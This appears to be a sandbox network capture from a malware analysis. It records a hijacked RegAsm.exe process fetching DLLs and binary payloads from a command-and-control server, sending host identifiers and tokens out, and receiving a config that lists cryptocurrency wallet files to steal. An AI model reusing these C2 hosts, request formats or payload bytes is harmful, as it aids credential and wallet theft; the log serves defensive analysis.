2024-05-24 07:43:03 UTC	16384	IN	Data Raw: ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d 02 00 83 c4 04 a3 38 9a 03 10 ff 75 0c e8 Data Ascii: kWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM8u
2024-05-24 07:43:03 UTC	16384	IN	Data Raw: 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 ba 01 e0 01 e0 33 11 be 01 f1 01 f1 33 71 Data Ascii: AAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q33q
2024-05-24 07:43:03 UTC	16384	IN	Data Raw: 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 00 3d 21 40 00 00 0f 85 37 06 00 00 83 7c Data Ascii: !=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#=!@7\|
2024-05-24 07:43:03 UTC	16384	IN	Data Raw: 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 8a eb 18 83 c7 60 8b 07 89 01 31 db e9 7a Data Ascii: 1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt`1z
2024-05-24 07:43:03 UTC	16384	IN	Data Raw: d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 04 56 e8 78 4d 01 00 83 c4 04 83 fb 40 bf Data Ascii: EGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZVxM@
2024-05-24 07:43:03 UTC	16384	IN	Data Raw: 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 ba 83 01 00 00 0f a3 f2 73 Data Ascii: H8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.s
2024-05-24 07:43:03 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c 03 10 83 c4 04 83 7e 0c 00 0f 88 8b 02 00 Data Ascii: USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|~
2024-05-24 07:43:03 UTC	16384	IN	Data Raw: 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 85 f6 75 a1 8b 4b 14 ff 15 00 a0 03 10 ff Data Ascii: <^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%uK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49929	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:05 UTC	178	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:05 UTC	245	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:05 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-13bf0" Accept-Ranges: bytes
2024-05-24 07:43:05 UTC	16139	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-05-24 07:43:05 UTC	16384	IN	Data Raw: ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 0c 74 4f 0f b6 f8 0f b6 42 0c 2b f8 75 18 Data Ascii: NB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u
2024-05-24 07:43:05 UTC	16384	IN	Data Raw: 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 85 ff 74 1c 8b 45 f8 89 07 8b 45 fc 89 47 Data Ascii: Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt tEEG
2024-05-24 07:43:05 UTC	16384	IN	Data Raw: 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 ff ff ff 42 89 15 90 f2 00 10 8b f2 8a 0a Data Ascii: t@++t+t+u+uQ<0\|*<9&w/c5~bASJCtvB
2024-05-24 07:43:05 UTC	15589	IN	Data Raw: ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e Data Ascii: \|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Code Signin

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49930	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:07 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:43:07 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:07 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qtr19bkcssqfa8mee261ke6upq; expires=Tue, 17-Sep-2024 01:29:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DBLV6MLzHvRc2Vo%2FEAha9HLxLX4YSUSRTfYRPLCpm0V7VZ3Cfz85RacYj5TTkjf9R86rQgLSVAbl54GluxUJ%2FrjNjwvmKRtFV%2FIBy8gjlvJizErcpd%2BuBpfNbTYDpGyRx%2FfqOMRmtthCHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba725d88517a9-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49932	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:07 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:07 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 0d 0a 43 6f 6e 74 Data Ascii: ------EHDAAECAEBKJKFHJKECFContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------EHDAAECAEBKJKFHJKECFContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------EHDAAECAEBKJKFHJKECFCont
2024-05-24 07:43:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:07 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49936	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:08 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:08 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------BGCBGCAFIIECBFIDHIJKCont
2024-05-24 07:43:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:09 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49937	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:09 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 07:43:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
